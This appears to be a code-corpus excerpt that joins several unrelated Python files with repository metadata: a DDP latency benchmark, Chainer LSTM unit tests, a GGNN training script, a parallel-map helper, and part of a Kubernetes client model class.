print_summary(buffer_size_to_metrics): # metrics: {ddp_option, Metrics} # Metrics: step -> [latency] for buffer_size, metrics in buffer_size_to_metrics.items(): assert DDPOption.DDP_CPP_CORE in metrics.keys() baseline = metrics.get(DDPOption.DDP_CPP_CORE) print(f"=== Summary for buffer_size: {buffer_size}M === ") for step in baseline.keys(): # step takes value from [forward, backward] # compute latency for each step into a table, each row is looks like # [option, mean, diff, mean, diff, p90, diff, p95, diff, p99, diff] data = [] baseline_latencies = baseline.get(step) assert baseline_latencies is not None A_baseline = np.array(baseline_latencies) for ddp_option, exp_metrics in metrics.items(): exp_latencies = exp_metrics.get(step) assert exp_latencies is not None A_exp = np.array(exp_latencies) # Yield option, mean, p50, p90, p95, p99 and delta. row = [ddp_option] row.append(np.mean(A_exp)) append_delta(row, np.mean(A_baseline), np.mean(A_exp)) for px in [50, 90, 95, 99]: base = np.percentile(A_baseline, px) exp = np.percentile(A_exp, px) row.append(exp) append_delta(row, base, exp) data.append(row) # Output buffer_size, step as a table. print(tabulate(data, headers=[f"DDP: [{step}]", "Mean", "delta%", "mean", "delta%", "p90", "delta%", "p95", "delta%%", "p99", "delta%"])) print("\n") def main(): world_size = 2 epochs = 120 # resnet50 model facts: # total_param_count = 161 # total_elements = 25557032 ~= 24.37M # param_max_elements = 2359296 ~= 2.25M # Try different bucket sizes. buffer_size_in_mbs = [3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27] print("buffer_size_in_mbs: " + str(buffer_size_in_mbs)) for buffer_size_in_M in buffer_size_in_mbs: print("\n\n=== NEW EXPERIMENT: buffer_size={}M, {} epochs, world_size={} ===".format( buffer_size_in_M, epochs, world_size)) options = [ DDPOption.DDP_CPP_CORE, DDPOption.PYTHON_DDP_ASYNC_REDUCTION, DDPOption.PYTHON_DDP_SYNC_REDUCTION ] for option in options: print("Measuring option: {} ... ".format(option)) mp.spawn(run_ddp, args=(world_size, epochs, option, buffer_size_in_M), nprocs=world_size, join=True) print("\n Generating summaries ... ") buffer_size_to_metrics = load_detailed_metrics(data_dir="./tmp", ext="ddpraw") print_summary(buffer_size_to_metrics) if __name__ == "__main__" : main()

true

f7326999dc24482830c16aa9561534ecbfcf6ab2

9,195

py

Python

tests/chainer_tests/functions_tests/connection_tests/test_n_step_lstm.py

mingxiaoh/chainer-v3

815ff00f5eaf7944d6e8a75662ff64a2fe046a4d

[ "BSD-3-Clause" ]

7

2017-05-08T07:02:40.000Z

2018-12-02T18:35:39.000Z

tests/chainer_tests/functions_tests/connection_tests/test_n_step_lstm.py

mingxiaoh/chainer-v3

815ff00f5eaf7944d6e8a75662ff64a2fe046a4d

[ "BSD-3-Clause" ]

null

tests/chainer_tests/functions_tests/connection_tests/test_n_step_lstm.py

mingxiaoh/chainer-v3

815ff00f5eaf7944d6e8a75662ff64a2fe046a4d

[ "BSD-3-Clause" ]

null

import unittest import mock import numpy import chainer from chainer import cuda from chainer import functions from chainer import gradient_check from chainer import testing from chainer.testing import attr def sigmoid(x): return numpy.tanh(x * 0.5) * 0.5 + 0.5 def _split(inputs, pos): return inputs[:pos], inputs[pos:] @testing.parameterize(*testing.product({ 'use_cudnn': [True, False], })) class TestNStepLSTM(unittest.TestCase): batches = [3, 2, 1] length = len(batches) in_size = 3 out_size = 2 n_layers = 2 dropout = 0.0 def setUp(self): self.xs = [numpy.random.uniform(-1, 1, (b, self.in_size)).astype('f') for b in self.batches] h_shape = (self.n_layers, self.batches[0], self.out_size) self.cx = numpy.random.uniform(-1, 1, h_shape).astype(numpy.float32) self.hx = numpy.random.uniform(-1, 1, h_shape).astype(numpy.float32) self.ws = [] self.bs = [] for i in range(self.n_layers): weights = [] biases = [] for j in range(8): if i == 0 and j < 4: w_in = self.in_size else: w_in = self.out_size weights.append(numpy.random.uniform( -1, 1, (self.out_size, w_in)).astype('f')) biases.append(numpy.random.uniform( -1, 1, (self.out_size,)).astype('f')) self.ws.append(weights) self.bs.append(biases) self.dys = [numpy.random.uniform(-1, 1, (b, self.out_size)).astype('f') for b in self.batches] self.dcy = numpy.random.uniform(-1, 1, h_shape).astype(numpy.float32) self.dhy = numpy.random.uniform(-1, 1, h_shape).astype(numpy.float32) def check_forward( self, h_data, c_data, xs_data, ws_data, bs_data, volatile): h = chainer.Variable(h_data, volatile=volatile) c = chainer.Variable(c_data, volatile=volatile) xs = [chainer.Variable(x, volatile=volatile) for x in xs_data] ws = [[chainer.Variable(w, volatile=volatile) for w in ws] for ws in ws_data] bs = [[chainer.Variable(b, volatile=volatile) for b in bs] for bs in bs_data] hy, cy, ys = functions.n_step_lstm( self.n_layers, self.dropout, h, c, ws, bs, xs, use_cudnn=self.use_cudnn) e_hy = self.hx.copy() e_cy = self.cx.copy() for ind in range(self.length): x = self.xs[ind] batch = x.shape[0] for layer in range(self.n_layers): w = self.ws[layer] b = self.bs[layer] h_prev = e_hy[layer, :batch] c_prev = e_cy[layer, :batch] i = sigmoid(x.dot(w[0].T) + h_prev.dot(w[4].T) + b[0] + b[4]) f = sigmoid(x.dot(w[1].T) + h_prev.dot(w[5].T) + b[1] + b[5]) c_bar = numpy.tanh( x.dot(w[2].T) + h_prev.dot(w[6].T) + b[2] + b[6]) o = sigmoid(x.dot(w[3].T) + h_prev.dot(w[7].T) + b[3] + b[7]) e_c = (f * c_prev + i * c_bar) e_h = o * numpy.tanh(e_c) e_hy[layer, :batch] = e_h e_cy[layer, :batch] = e_c x = e_h testing.assert_allclose( ys[ind].data, x, rtol=1e-4, atol=1e-4) testing.assert_allclose(hy.data, e_hy, rtol=1e-4, atol=1e-4) testing.assert_allclose(cy.data, e_cy, rtol=1e-4, atol=1e-4) def test_forward_cpu(self): self.check_forward(self.hx, self.cx, self.xs, self.ws, self.bs, False) def test_forward_cpu_volatile(self): self.check_forward(self.hx, self.cx, self.xs, self.ws, self.bs, True) @attr.gpu def test_forward_gpu(self): self.check_forward(cuda.to_gpu(self.hx), cuda.to_gpu(self.cx), [cuda.to_gpu(x) for x in self.xs], [[cuda.to_gpu(w) for w in ws] for ws in self.ws], [[cuda.to_gpu(b) for b in bs] for bs in self.bs], False) @attr.gpu def test_forward_gpu_volatile(self): self.check_forward(cuda.to_gpu(self.hx), cuda.to_gpu(self.cx), [cuda.to_gpu(x) for x in self.xs], [[cuda.to_gpu(w) for w in ws] for ws in self.ws], [[cuda.to_gpu(b) for b in bs] for bs in self.bs], True) def check_backward(self, h_data, c_data, xs_data, ws_data, bs_data, dhy_data, dcy_data, dys_data): args = tuple([h_data, c_data] + sum(ws_data, []) + sum(bs_data, []) + xs_data) grads = tuple([dhy_data, dcy_data] + dys_data) def f(*inputs): (hx, cx), inputs = _split(inputs, 2) ws = [] for i in range(self.n_layers): weights, inputs = _split(inputs, 8) ws.append(weights) bs = [] for i in range(self.n_layers): biases, inputs = _split(inputs, 8) bs.append(biases) xs = inputs hy, cy, ys = functions.n_step_lstm( self.n_layers, self.dropout, hx, cx, ws, bs, xs) return (hy, cy) + ys gradient_check.check_backward( f, args, grads, eps=1e-2, rtol=1e-3, atol=1e-3) def test_backward_cpu(self): self.check_backward(self.hx, self.cx, self.xs, self.ws, self.bs, self.dhy, self.dcy, self.dys) @attr.gpu def test_backward_gpu(self): self.check_backward(cuda.to_gpu(self.hx), cuda.to_gpu(self.cx), [cuda.to_gpu(x) for x in self.xs], [[cuda.to_gpu(w) for w in ws] for ws in self.ws], [[cuda.to_gpu(b) for b in bs] for bs in self.bs], cuda.to_gpu(self.dhy), cuda.to_gpu(self.dcy), [cuda.to_gpu(dy) for dy in self.dys]) @testing.parameterize(*testing.product({ 'use_cudnn': [True, False], })) @attr.cudnn class TestNStepLSTMCudnnCall(unittest.TestCase): batches = [4, 3, 2, 1] length = len(batches) in_size = 3 out_size = 4 n_layers = 2 dropout = 0.0 def setUp(self): self.xs = [cuda.cupy.random.uniform( -1, 1, (b, self.in_size)).astype('f') for b in self.batches] h_shape = (self.n_layers, self.batches[0], self.out_size) self.cx = cuda.cupy.random.uniform(-1, 1, h_shape).astype('f') self.hx = cuda.cupy.random.uniform(-1, 1, h_shape).astype('f') self.ws = [] self.bs = [] for i in range(self.n_layers): weights = [] biases = [] for j in range(8): if i == 0 and j < 4: w_in = self.in_size else: w_in = self.out_size weights.append(cuda.cupy.random.uniform( -1, 1, (self.out_size, w_in)).astype('f')) biases.append(cuda.cupy.random.uniform( -1, 1, (self.out_size,)).astype('f')) self.ws.append(weights) self.bs.append(biases) self.dys = [cuda.cupy.random.uniform( -1, 1, (b, self.out_size)).astype('f') for b in self.batches] self.dcy = cuda.cupy.random.uniform(-1, 1, h_shape).astype('f') self.dhy = cuda.cupy.random.uniform(-1, 1, h_shape).astype('f') self.expect = self.use_cudnn and ( cuda.cudnn.cudnn.getVersion() >= 5000) def forward(self, train): volatile = not train h = chainer.Variable(self.hx, volatile=volatile) c = chainer.Variable(self.cx, volatile=volatile) xs = [chainer.Variable(x, volatile=volatile) for x in self.xs] ws = [[chainer.Variable(w, volatile=volatile) for w in ws] for ws in self.ws] bs = [[chainer.Variable(b, volatile=volatile) for b in bs] for bs in self.bs] with chainer.using_config('train', train): return functions.n_step_lstm( self.n_layers, self.dropout, h, c, ws, bs, xs, use_cudnn=self.use_cudnn) def test_call_cudnn_forward_training(self): with mock.patch('cupy.cuda.cudnn.RNNForwardTraining') as func: self.forward(True) self.assertEqual(func.called, self.expect) def test_call_cudnn_forward_inference(self): with mock.patch('cupy.cuda.cudnn.RNNForwardInference') as func: self.forward(False) self.assertEqual(func.called, self.expect) def test_call_cudnn_backward(self): hy, cy, ys = self.forward(True) hy.grad = self.dhy with mock.patch('cupy.cuda.cudnn.RNNBackwardWeights') as func: hy.backward() self.assertEqual(func.called, self.expect) testing.run_module(__name__, __file__)

36.78

79

0.531485

import unittest import mock import numpy import chainer from chainer import cuda from chainer import functions from chainer import gradient_check from chainer import testing from chainer.testing import attr def sigmoid(x): return numpy.tanh(x * 0.5) * 0.5 + 0.5 def _split(inputs, pos): return inputs[:pos], inputs[pos:] @testing.parameterize(*testing.product({ 'use_cudnn': [True, False], })) class TestNStepLSTM(unittest.TestCase): batches = [3, 2, 1] length = len(batches) in_size = 3 out_size = 2 n_layers = 2 dropout = 0.0 def setUp(self): self.xs = [numpy.random.uniform(-1, 1, (b, self.in_size)).astype('f') for b in self.batches] h_shape = (self.n_layers, self.batches[0], self.out_size) self.cx = numpy.random.uniform(-1, 1, h_shape).astype(numpy.float32) self.hx = numpy.random.uniform(-1, 1, h_shape).astype(numpy.float32) self.ws = [] self.bs = [] for i in range(self.n_layers): weights = [] biases = [] for j in range(8): if i == 0 and j < 4: w_in = self.in_size else: w_in = self.out_size weights.append(numpy.random.uniform( -1, 1, (self.out_size, w_in)).astype('f')) biases.append(numpy.random.uniform( -1, 1, (self.out_size,)).astype('f')) self.ws.append(weights) self.bs.append(biases) self.dys = [numpy.random.uniform(-1, 1, (b, self.out_size)).astype('f') for b in self.batches] self.dcy = numpy.random.uniform(-1, 1, h_shape).astype(numpy.float32) self.dhy = numpy.random.uniform(-1, 1, h_shape).astype(numpy.float32) def check_forward( self, h_data, c_data, xs_data, ws_data, bs_data, volatile): h = chainer.Variable(h_data, volatile=volatile) c = chainer.Variable(c_data, volatile=volatile) xs = [chainer.Variable(x, volatile=volatile) for x in xs_data] ws = [[chainer.Variable(w, volatile=volatile) for w in ws] for ws in ws_data] bs = [[chainer.Variable(b, volatile=volatile) for b in bs] for bs in bs_data] hy, cy, ys = functions.n_step_lstm( self.n_layers, self.dropout, h, c, ws, bs, xs, use_cudnn=self.use_cudnn) e_hy = self.hx.copy() e_cy = self.cx.copy() for ind in range(self.length): x = self.xs[ind] batch = x.shape[0] for layer in range(self.n_layers): w = self.ws[layer] b = self.bs[layer] h_prev = e_hy[layer, :batch] c_prev = e_cy[layer, :batch] i = sigmoid(x.dot(w[0].T) + h_prev.dot(w[4].T) + b[0] + b[4]) f = sigmoid(x.dot(w[1].T) + h_prev.dot(w[5].T) + b[1] + b[5]) c_bar = numpy.tanh( x.dot(w[2].T) + h_prev.dot(w[6].T) + b[2] + b[6]) o = sigmoid(x.dot(w[3].T) + h_prev.dot(w[7].T) + b[3] + b[7]) e_c = (f * c_prev + i * c_bar) e_h = o * numpy.tanh(e_c) e_hy[layer, :batch] = e_h e_cy[layer, :batch] = e_c x = e_h testing.assert_allclose( ys[ind].data, x, rtol=1e-4, atol=1e-4) testing.assert_allclose(hy.data, e_hy, rtol=1e-4, atol=1e-4) testing.assert_allclose(cy.data, e_cy, rtol=1e-4, atol=1e-4) def test_forward_cpu(self): self.check_forward(self.hx, self.cx, self.xs, self.ws, self.bs, False) def test_forward_cpu_volatile(self): self.check_forward(self.hx, self.cx, self.xs, self.ws, self.bs, True) @attr.gpu def test_forward_gpu(self): self.check_forward(cuda.to_gpu(self.hx), cuda.to_gpu(self.cx), [cuda.to_gpu(x) for x in self.xs], [[cuda.to_gpu(w) for w in ws] for ws in self.ws], [[cuda.to_gpu(b) for b in bs] for bs in self.bs], False) @attr.gpu def test_forward_gpu_volatile(self): self.check_forward(cuda.to_gpu(self.hx), cuda.to_gpu(self.cx), [cuda.to_gpu(x) for x in self.xs], [[cuda.to_gpu(w) for w in ws] for ws in self.ws], [[cuda.to_gpu(b) for b in bs] for bs in self.bs], True) def check_backward(self, h_data, c_data, xs_data, ws_data, bs_data, dhy_data, dcy_data, dys_data): args = tuple([h_data, c_data] + sum(ws_data, []) + sum(bs_data, []) + xs_data) grads = tuple([dhy_data, dcy_data] + dys_data) def f(*inputs): (hx, cx), inputs = _split(inputs, 2) ws = [] for i in range(self.n_layers): weights, inputs = _split(inputs, 8) ws.append(weights) bs = [] for i in range(self.n_layers): biases, inputs = _split(inputs, 8) bs.append(biases) xs = inputs hy, cy, ys = functions.n_step_lstm( self.n_layers, self.dropout, hx, cx, ws, bs, xs) return (hy, cy) + ys gradient_check.check_backward( f, args, grads, eps=1e-2, rtol=1e-3, atol=1e-3) def test_backward_cpu(self): self.check_backward(self.hx, self.cx, self.xs, self.ws, self.bs, self.dhy, self.dcy, self.dys) @attr.gpu def test_backward_gpu(self): self.check_backward(cuda.to_gpu(self.hx), cuda.to_gpu(self.cx), [cuda.to_gpu(x) for x in self.xs], [[cuda.to_gpu(w) for w in ws] for ws in self.ws], [[cuda.to_gpu(b) for b in bs] for bs in self.bs], cuda.to_gpu(self.dhy), cuda.to_gpu(self.dcy), [cuda.to_gpu(dy) for dy in self.dys]) @testing.parameterize(*testing.product({ 'use_cudnn': [True, False], })) @attr.cudnn class TestNStepLSTMCudnnCall(unittest.TestCase): batches = [4, 3, 2, 1] length = len(batches) in_size = 3 out_size = 4 n_layers = 2 dropout = 0.0 def setUp(self): self.xs = [cuda.cupy.random.uniform( -1, 1, (b, self.in_size)).astype('f') for b in self.batches] h_shape = (self.n_layers, self.batches[0], self.out_size) self.cx = cuda.cupy.random.uniform(-1, 1, h_shape).astype('f') self.hx = cuda.cupy.random.uniform(-1, 1, h_shape).astype('f') self.ws = [] self.bs = [] for i in range(self.n_layers): weights = [] biases = [] for j in range(8): if i == 0 and j < 4: w_in = self.in_size else: w_in = self.out_size weights.append(cuda.cupy.random.uniform( -1, 1, (self.out_size, w_in)).astype('f')) biases.append(cuda.cupy.random.uniform( -1, 1, (self.out_size,)).astype('f')) self.ws.append(weights) self.bs.append(biases) self.dys = [cuda.cupy.random.uniform( -1, 1, (b, self.out_size)).astype('f') for b in self.batches] self.dcy = cuda.cupy.random.uniform(-1, 1, h_shape).astype('f') self.dhy = cuda.cupy.random.uniform(-1, 1, h_shape).astype('f') self.expect = self.use_cudnn and ( cuda.cudnn.cudnn.getVersion() >= 5000) def forward(self, train): volatile = not train h = chainer.Variable(self.hx, volatile=volatile) c = chainer.Variable(self.cx, volatile=volatile) xs = [chainer.Variable(x, volatile=volatile) for x in self.xs] ws = [[chainer.Variable(w, volatile=volatile) for w in ws] for ws in self.ws] bs = [[chainer.Variable(b, volatile=volatile) for b in bs] for bs in self.bs] with chainer.using_config('train', train): return functions.n_step_lstm( self.n_layers, self.dropout, h, c, ws, bs, xs, use_cudnn=self.use_cudnn) def test_call_cudnn_forward_training(self): with mock.patch('cupy.cuda.cudnn.RNNForwardTraining') as func: self.forward(True) self.assertEqual(func.called, self.expect) def test_call_cudnn_forward_inference(self): with mock.patch('cupy.cuda.cudnn.RNNForwardInference') as func: self.forward(False) self.assertEqual(func.called, self.expect) def test_call_cudnn_backward(self): hy, cy, ys = self.forward(True) hy.grad = self.dhy with mock.patch('cupy.cuda.cudnn.RNNBackwardWeights') as func: hy.backward() self.assertEqual(func.called, self.expect) testing.run_module(__name__, __file__)

true

f7326a11d6895ddea9102d2cf1365d083cdc73a6

4,758

py

Python

main_live.py

WuYff/ggnn.pytorch

795bc7fb51876231406d71610aa5ec7ed29865c0

[ "MIT" ]

null

main_live.py

WuYff/ggnn.pytorch

795bc7fb51876231406d71610aa5ec7ed29865c0

[ "MIT" ]

null

main_live.py

WuYff/ggnn.pytorch

795bc7fb51876231406d71610aa5ec7ed29865c0

[ "MIT" ]

null

import argparse import random import torch import torch.nn as nn import torch.optim as optim from model_live import GGNN from utils.train_live import train from utils.test_live import test from utils.validation_live import validation from utils.data.wy_dataset_live import bAbIDataset from utils.data.dataloader import bAbIDataloader parser = argparse.ArgumentParser() parser.add_argument('--task_id', type=int, default=4, help='bAbI task id') parser.add_argument('--question_id', type=int, default=0, help='question types') parser.add_argument('--workers', type=int, help='number of data loading workers', default=2) # parser.add_argument('--batchSize', type=int, default=10, help='input batch size') parser.add_argument('--batchSize', type=int, default=10, help='input batch size') parser.add_argument('--state_dim', type=int, default=4, help='GGNN hidden state size') parser.add_argument('--n_steps', type=int, default=1, help='propogation steps number of GGNN') # parser.add_argument('--niter', type=int, default=10, help='number of epochs to train for') parser.add_argument('--niter', type=int, default=15, help='number of epochs to train for') parser.add_argument('--lr', type=float, default=0.01, help='learning rate') parser.add_argument('--cuda', action='store_true', help='enables cuda') parser.add_argument('--verbal', action='store_true', help='print training info or not') parser.add_argument('--manualSeed', type=int, help='manual seed') parser.add_argument('--criterion', type=int, default=1) parser.add_argument('--choice_steps', type=int, default=2) parser.add_argument('--how_many', type=int, default=40) opt = parser.parse_args() # todo : shuffle before each epoch, specify the number od n_steps if opt.manualSeed is None: opt.manualSeed = random.randint(1, 10000) print("Random Seed: ", opt.manualSeed) random.seed(opt.manualSeed) torch.manual_seed(opt.manualSeed) opt.dataroot = '/home/yiwu/ggnn/wy/ggnn.pytorch/wy_data/live_jfree/lala' #opt.dataroot = '/home/yiwu/ggnn/wy/ggnn.pytorch/wy_data/one' if opt.cuda: torch.cuda.manual_seed_all(opt.manualSeed) def main(opt): train_dataset = bAbIDataset(opt.dataroot, opt.question_id, "t",0,opt.how_many) print("len(train_dataset)",len(train_dataset)) # for i, (adj_matrix, annotation, target) in enumerate(train_dataset, 0): # print("annotation size",annotation.shape) # print("adj_matrix size",adj_matrix.shape) # print("target int",target) # break # for i, (adj_matrix, annotation, target) in enumerate(train_dataloader, 0): # print("@annotation size",annotation.shape) # print("@adj_matrix size",adj_matrix.shape) # print("@target size",target.shape) # break validation_dataset = bAbIDataset(opt.dataroot, opt.question_id, "v", train_dataset.n_node,opt.how_many) validation_dataloader = bAbIDataloader(validation_dataset, batch_size=opt.batchSize, \ shuffle=False, num_workers=2) print("len(validation_dataset)",len(validation_dataset)) test_dataset = bAbIDataset(opt.dataroot, opt.question_id, "est", train_dataset.n_node,opt.how_many) test_dataloader = bAbIDataloader(test_dataset, batch_size=opt.batchSize, \ shuffle=False, num_workers=2) print("len(test_dataset)",len(test_dataset)) opt.annotation_dim = train_dataset.n_def # for bAbI opt.n_edge_types = train_dataset.n_edge_types opt.n_node = train_dataset.n_node opt.state_dim = opt.annotation_dim opt.n_steps = opt.n_node if opt.choice_steps == 2: opt.n_steps = round(opt.n_node*0.5) elif opt.choice_steps == 3: opt.n_steps = opt.n_node*2 elif opt.choice_steps == 4: opt.n_steps = opt.n_node*opt.n_node elif opt.choice_steps == 5: opt.n_steps = round(opt.n_node*0.3) net = GGNN(opt) net.double() criterion = nn.SmoothL1Loss() if opt.criterion == 2: criterion = torch.nn.L1Loss() elif opt.criterion == 3: criterion = torch.nn.MSELoss() if opt.cuda: net.cuda() criterion.cuda() optimizer = optim.Adam(net.parameters(), lr=opt.lr) print("opt",opt) print(net) for epoch in range(0, opt.niter): train_dataloader = bAbIDataloader(train_dataset, batch_size=opt.batchSize, \ shuffle=True, num_workers=4) print("len(train_dataloader)",len(train_dataloader)) train(epoch, train_dataloader, net, criterion, optimizer, opt) validation(validation_dataloader, net, criterion, optimizer, opt) test(test_dataloader, net, criterion, optimizer, opt) if __name__ == "__main__": main(opt)

39.983193

107

0.696511

import argparse import random import torch import torch.nn as nn import torch.optim as optim from model_live import GGNN from utils.train_live import train from utils.test_live import test from utils.validation_live import validation from utils.data.wy_dataset_live import bAbIDataset from utils.data.dataloader import bAbIDataloader parser = argparse.ArgumentParser() parser.add_argument('--task_id', type=int, default=4, help='bAbI task id') parser.add_argument('--question_id', type=int, default=0, help='question types') parser.add_argument('--workers', type=int, help='number of data loading workers', default=2) parser.add_argument('--batchSize', type=int, default=10, help='input batch size') parser.add_argument('--state_dim', type=int, default=4, help='GGNN hidden state size') parser.add_argument('--n_steps', type=int, default=1, help='propogation steps number of GGNN') parser.add_argument('--niter', type=int, default=15, help='number of epochs to train for') parser.add_argument('--lr', type=float, default=0.01, help='learning rate') parser.add_argument('--cuda', action='store_true', help='enables cuda') parser.add_argument('--verbal', action='store_true', help='print training info or not') parser.add_argument('--manualSeed', type=int, help='manual seed') parser.add_argument('--criterion', type=int, default=1) parser.add_argument('--choice_steps', type=int, default=2) parser.add_argument('--how_many', type=int, default=40) opt = parser.parse_args() if opt.manualSeed is None: opt.manualSeed = random.randint(1, 10000) print("Random Seed: ", opt.manualSeed) random.seed(opt.manualSeed) torch.manual_seed(opt.manualSeed) opt.dataroot = '/home/yiwu/ggnn/wy/ggnn.pytorch/wy_data/live_jfree/lala' if opt.cuda: torch.cuda.manual_seed_all(opt.manualSeed) def main(opt): train_dataset = bAbIDataset(opt.dataroot, opt.question_id, "t",0,opt.how_many) print("len(train_dataset)",len(train_dataset)) validation_dataset = bAbIDataset(opt.dataroot, opt.question_id, "v", train_dataset.n_node,opt.how_many) validation_dataloader = bAbIDataloader(validation_dataset, batch_size=opt.batchSize, \ shuffle=False, num_workers=2) print("len(validation_dataset)",len(validation_dataset)) test_dataset = bAbIDataset(opt.dataroot, opt.question_id, "est", train_dataset.n_node,opt.how_many) test_dataloader = bAbIDataloader(test_dataset, batch_size=opt.batchSize, \ shuffle=False, num_workers=2) print("len(test_dataset)",len(test_dataset)) opt.annotation_dim = train_dataset.n_def opt.n_edge_types = train_dataset.n_edge_types opt.n_node = train_dataset.n_node opt.state_dim = opt.annotation_dim opt.n_steps = opt.n_node if opt.choice_steps == 2: opt.n_steps = round(opt.n_node*0.5) elif opt.choice_steps == 3: opt.n_steps = opt.n_node*2 elif opt.choice_steps == 4: opt.n_steps = opt.n_node*opt.n_node elif opt.choice_steps == 5: opt.n_steps = round(opt.n_node*0.3) net = GGNN(opt) net.double() criterion = nn.SmoothL1Loss() if opt.criterion == 2: criterion = torch.nn.L1Loss() elif opt.criterion == 3: criterion = torch.nn.MSELoss() if opt.cuda: net.cuda() criterion.cuda() optimizer = optim.Adam(net.parameters(), lr=opt.lr) print("opt",opt) print(net) for epoch in range(0, opt.niter): train_dataloader = bAbIDataloader(train_dataset, batch_size=opt.batchSize, \ shuffle=True, num_workers=4) print("len(train_dataloader)",len(train_dataloader)) train(epoch, train_dataloader, net, criterion, optimizer, opt) validation(validation_dataloader, net, criterion, optimizer, opt) test(test_dataloader, net, criterion, optimizer, opt) if __name__ == "__main__": main(opt)

true

f7326a1f506ca5fb7b3e97b0d077dc016e7eb7c7

2,147

py

Python

ppstructure/table/table_metric/parallel.py

nan-wang/PaddleOCR

31b06a2fd19f877a09acaf658387bd919c289b8e

[ "Apache-2.0" ]

20,401

2020-05-08T10:56:13.000Z

2022-03-31T23:34:38.000Z

ppstructure/table/table_metric/parallel.py

justld/PaddleOCR

09604c38e42591c240771edbbff43a6dd7ebf592

[ "Apache-2.0" ]

4,988

2020-05-10T08:19:41.000Z

2022-03-31T17:57:11.000Z

ppstructure/table/table_metric/parallel.py

justld/PaddleOCR

09604c38e42591c240771edbbff43a6dd7ebf592

[ "Apache-2.0" ]

4,479

2020-05-08T11:12:13.000Z

2022-03-31T11:55:28.000Z

from tqdm import tqdm from concurrent.futures import ProcessPoolExecutor, as_completed def parallel_process(array, function, n_jobs=16, use_kwargs=False, front_num=0): """ A parallel version of the map function with a progress bar. Args: array (array-like): An array to iterate over. function (function): A python function to apply to the elements of array n_jobs (int, default=16): The number of cores to use use_kwargs (boolean, default=False): Whether to consider the elements of array as dictionaries of keyword arguments to function front_num (int, default=3): The number of iterations to run serially before kicking off the parallel job. Useful for catching bugs Returns: [function(array[0]), function(array[1]), ...] """ # We run the first few iterations serially to catch bugs if front_num > 0: front = [function(**a) if use_kwargs else function(a) for a in array[:front_num]] else: front = [] # If we set n_jobs to 1, just run a list comprehension. This is useful for benchmarking and debugging. if n_jobs == 1: return front + [function(**a) if use_kwargs else function(a) for a in tqdm(array[front_num:])] # Assemble the workers with ProcessPoolExecutor(max_workers=n_jobs) as pool: # Pass the elements of array into function if use_kwargs: futures = [pool.submit(function, **a) for a in array[front_num:]] else: futures = [pool.submit(function, a) for a in array[front_num:]] kwargs = { 'total': len(futures), 'unit': 'it', 'unit_scale': True, 'leave': True } # Print out the progress as tasks complete for f in tqdm(as_completed(futures), **kwargs): pass out = [] # Get the results from the futures. for i, future in tqdm(enumerate(futures)): try: out.append(future.result()) except Exception as e: out.append(e) return front + out

41.288462

117

0.610154

from tqdm import tqdm from concurrent.futures import ProcessPoolExecutor, as_completed def parallel_process(array, function, n_jobs=16, use_kwargs=False, front_num=0): if front_num > 0: front = [function(**a) if use_kwargs else function(a) for a in array[:front_num]] else: front = [] if n_jobs == 1: return front + [function(**a) if use_kwargs else function(a) for a in tqdm(array[front_num:])] with ProcessPoolExecutor(max_workers=n_jobs) as pool: if use_kwargs: futures = [pool.submit(function, **a) for a in array[front_num:]] else: futures = [pool.submit(function, a) for a in array[front_num:]] kwargs = { 'total': len(futures), 'unit': 'it', 'unit_scale': True, 'leave': True } for f in tqdm(as_completed(futures), **kwargs): pass out = [] for i, future in tqdm(enumerate(futures)): try: out.append(future.result()) except Exception as e: out.append(e) return front + out

true

f7326b3311cb80454a1fb34edc479c00815ea490

6,749

py

Python

lib/kubernetes/client/models/v1_storage_class_list.py

splunkenizer/splunk_as_a_service_app

97c4aaf927d2171bf131126cf9b70489ac75bc5a

[ "Apache-2.0" ]

7

2019-12-21T00:14:14.000Z

2021-03-11T14:51:37.000Z

lib/kubernetes/client/models/v1_storage_class_list.py

splunkenizer/splunk_as_a_service_app

97c4aaf927d2171bf131126cf9b70489ac75bc5a

[ "Apache-2.0" ]

29

2019-10-09T11:16:21.000Z

2020-06-23T09:32:09.000Z

lib/kubernetes/client/models/v1_storage_class_list.py

splunkenizer/splunk_as_a_service_app

97c4aaf927d2171bf131126cf9b70489ac75bc5a

[ "Apache-2.0" ]

1

2021-05-07T10:13:31.000Z

# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.14.4 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from pprint import pformat from six import iteritems import re class V1StorageClassList(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'api_version': 'str', 'items': 'list[V1StorageClass]', 'kind': 'str', 'metadata': 'V1ListMeta' } attribute_map = { 'api_version': 'apiVersion', 'items': 'items', 'kind': 'kind', 'metadata': 'metadata' } def __init__(self, api_version=None, items=None, kind=None, metadata=None): """ V1StorageClassList - a model defined in Swagger """ self._api_version = None self._items = None self._kind = None self._metadata = None self.discriminator = None if api_version is not None: self.api_version = api_version self.items = items if kind is not None: self.kind = kind if metadata is not None: self.metadata = metadata @property def api_version(self): """ Gets the api_version of this V1StorageClassList. APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#resources :return: The api_version of this V1StorageClassList. :rtype: str """ return self._api_version @api_version.setter def api_version(self, api_version): """ Sets the api_version of this V1StorageClassList. APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#resources :param api_version: The api_version of this V1StorageClassList. :type: str """ self._api_version = api_version @property def items(self): """ Gets the items of this V1StorageClassList. Items is the list of StorageClasses :return: The items of this V1StorageClassList. :rtype: list[V1StorageClass] """ return self._items @items.setter def items(self, items): """ Sets the items of this V1StorageClassList. Items is the list of StorageClasses :param items: The items of this V1StorageClassList. :type: list[V1StorageClass] """ if items is None: raise ValueError("Invalid value for `items`, must not be `None`") self._items = items @property def kind(self): """ Gets the kind of this V1StorageClassList. Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/api-conventions.md#types-kinds :return: The kind of this V1StorageClassList. :rtype: str """ return self._kind @kind.setter def kind(self, kind): """ Sets the kind of this V1StorageClassList. Kind is a string value representing the REST resource this object represents. Servers may 